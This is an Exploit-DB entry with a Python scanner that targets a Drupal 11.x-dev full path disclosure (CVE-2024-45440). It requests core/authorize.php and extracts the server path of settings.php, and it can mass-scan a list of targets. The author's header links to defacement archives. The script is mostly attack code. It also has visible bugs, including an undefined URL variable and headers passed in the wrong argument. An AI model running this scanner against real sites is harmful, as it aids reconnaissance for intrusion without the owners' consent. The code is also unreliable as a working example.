Exploit-DB #52266
Description: Drupal 11.x-dev - Full Path Disclosure
Type: webapps
Platform: php
Date: 2025-04-19
Author: Milad karimi

Exploit:
#!/usr/bin/env python
# Exploit Title: Drupal 11.x-dev - Full Path Disclosure
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# Version: 11.x-dev
# CVE: CVE-2024-45440

# -*- coding:UTF-8 -*-
import re
import requests
def banners():
    cve_id = "CVE-2024-45440"
    description = "Drupal 11.x-dev Full Path Disclosure Vulnerability: " \
                  "core/authorize.php allows Full Path Disclosure (even
when error logging is None) " \
                  "if the value of hash_salt is file_get_contents of a file
that does not exist."
    disclaimer = "This tool is for educational purposes only. Any misuse of
this information is the responsibility of " \
                 "the person utilizing this tool. The author assumes no
responsibility or liability for any misuse or " \
                 "damage caused by this program."
    width = 100
    banner_top_bottom = "=" * width
    banner_middle = f"{cve_id:^{width}}\n\n{description:^{width}}"
    banner =
f"{banner_top_bottom}\n\n{banner_middle}\n\n{disclaimer}\n\n{banner_top_bottom}"

    return banner
def scan_single_url(url=None):
    if url is None:
        print("[+] Input the IP/Domain Example: 127.0.0.1 or 127.0.0.1:8080")

        url = input("[+] IP/Domain: ")
    if not url.startswith('https://') and not url.startswith('http://'):
        full_url = 'http://' + url + '/core/authorize.php'
    print("[*] Scanning...")
    try:
        headers = {
            "Host": url,
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:133.0) Gecko/20100101 Firefox/133.0",
            "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language":
"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"
        }
        response = requests.get(full_url, headers,timeout=10)
        pattern = r'<em class="placeholder">(/.*?settings\.php)'
        matches = re.findall(pattern, response.text)
        # print(response.text)
        if 'settings.php' in response.text:
            print(f"[+] {url} Existed!")
            for match in matches:
                print("[+] The full path is:", match)
                return True
        else:
            print(f"[-] {url} Not Exist!")
            return False
    except TimeoutError:
        print(f"[-] {url} Timeout!")
    except Exception as e:
        print(f"[-] {url} Failed!")
        return False
def scan_multiple_urls():
    print("[+] Input the path of txt Example: ./url.txt or
C:\\the\\path\\to\\url.txt")
    url_path = input("[+] Path: ")
    url_list = []
    result_list = []
    try:
        with open(url_path, 'r', encoding='utf-8') as f:
            lines = f.readlines()
            for line in lines:
                url_list.append(line.strip())
    except FileNotFoundError as e:
        print("[-] File Not Found!")
    for url in url_list:
        result = scan_single_url(url)
        if result:
            result_list.append(url)
    print("[+] Successful Target:")
    for result in result_list:
        print(f"[+] {result}")
def main():
    print(banners())
    print("[1] Scan single url\n[2] Scan multiple urls")
    choice = input("[+] Choose: ")
    if choice == '1':
        scan_single_url()
    elif choice == '2':
        scan_multiple_urls()
    else:
        print("[-] Invalid option selected!")
    pass
if __name__ == '__main__':
    main()